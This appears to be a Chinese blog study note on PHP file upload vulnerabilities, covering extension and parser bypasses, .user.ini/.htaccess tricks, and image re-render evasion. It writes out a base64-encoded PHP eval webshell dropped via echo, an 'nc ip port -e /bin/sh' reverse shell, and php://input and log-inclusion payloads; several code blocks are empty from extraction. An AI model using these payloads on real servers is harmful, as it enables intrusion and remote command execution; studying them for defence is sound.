第一节 php文件上传
0x1 php文件上传机制
php使用临时文件移动的方式来上传文件,通过$_FILES
数组包含文件信息,在PHP脚本处理过程中,对已经存在在临时目录的/tmp/php??????
文件使用move_uploaded_file
函数来移动到新的位置。
文件上传信息包含的数组$_FILES
数组中,是支持多文件同时上传的。默认情况下,上传的名字为file
,所以我们可以在$_FILES['file']
这个数组中获得,我们可以获得以下信息
$_FILES['file']['name']
获得上传文件的原始文件名$_FILES['file']['tmp_name']
上传的文件在临时目录中的文件名$_FILES['file']['size']
上传文件的大小,单位为字节$_FILES['file']['type']
上传文件的类型
0x2 文件上传的例子
文件上传表单
表单是一种HTML代码,表示向某个地址发送一个或多个数据,数据格式可以分为几种
get表单
数据附加在url后
post表单
将数据附加到http包中,发送的数据是经过url编码过的
raw表单
将数据直接附加到http请求包中,不存在键值对,直接是数据,常见的方式是file_get_contents("php://input")
这种请求是和post表单互斥的
json表单
类型为application/json
,常见于api接口
文件上传的例子
1 |
|
1 |
|
文件上传的成因
由于历史原因,早期服务器比较贵,用户上传的文件只能存放在web目录
0x3 文件上传可能存在的漏洞
文件上传本质就是对服务器文件系统写操作,就有可能执行我们写入的恶意代码
文件上传后缀黑名单过滤
某些配置文件为了兼容老版本的php代码,也会解析php3,php5,phtml
php文件上传的00截断
123.php%00.jpg保存时.jpg会被截断舍弃,但是只有PHP版本小于5.3.4才存在此漏洞
iconv字符转换异常造成截断
5.4以上版本已经修复
文件后缀白名单过滤
web服务器解析漏洞
IIS解析漏洞
Windows系统下一般使用ISS作为web服务器,比较老版本会解析目录名字为xxx.asp等字符构成的目录。
nginx解析漏洞
nginx配置错误
nginx会将后缀为123.txt/123.php的uri请求匹配到,误认为是php后缀
Apache解析漏洞
如果上传1.php被禁止,可以上传1.php.charmersix ,charmersix后缀不识别,就会继续往前识别后缀。
0x4文件上传高级利用
配置文件绕过
.htaccess配置文件
.user.ini配置文件
auto_append_file=1.txt
使用auto_append_file参数来包含进行当前的php文件一起执行。
.user.ini自动附加文件时,当前目录必须要有php文件
配置文件必须要有php文件才能生效
直接访问首页,即可执行一句话木马
文件内容检测
像<?php , system , eval , $_GET, $_POST
如果这些函数被禁用,即文件中带有这些函数的文件都无法上传,我们可以使用cookie传输数据,或者用nc反弹shell
1.用cookie传输数据
1 | $_COOKIE[1]`; ` |
`文件上传,然后cookie传输
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b"|base64 -d>1.php
再连接1.php
2.反弹shell
1 | `nc ip port -e /bin/sh`; |
3.使用php伪协议,文件包含
auto_append_file=php://input
4.日志包含
auto_append_file=/var/log/nginx/access.log
注意.user.ini内容的文件名
文件上传与XSS
图片上传
getimagesize绕过
扫描图片中是否存在高宽,如果存在就认为正常
1 | #define height 100 |
png二次渲染绕过
直接生成一个新图片,清洗掉原来的恶意代码
这里我们用脚本写一个恶意代码不会被清洗的图片
1 |
|
jpg二次渲染绕过
1 |
|
我们来一个jpg二次渲染绕过的专用图片
配合文件包含
- 文件上传最容易出现代码执行和命令执行,且危害巨大
- 配置文件.user.ini中,auto_append_file参数不仅可以写文件名,也可以是伪协议和nginx日志
- getimagesize函数可以通过#define width 100来绕过
- png和jpg二次渲染后,仍可能保留恶意代码
- Post title: Web_4_PHP文件上传
- Create time: 2022-09-20 00:00:00
- Post link: 2022/09/20/web_4/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.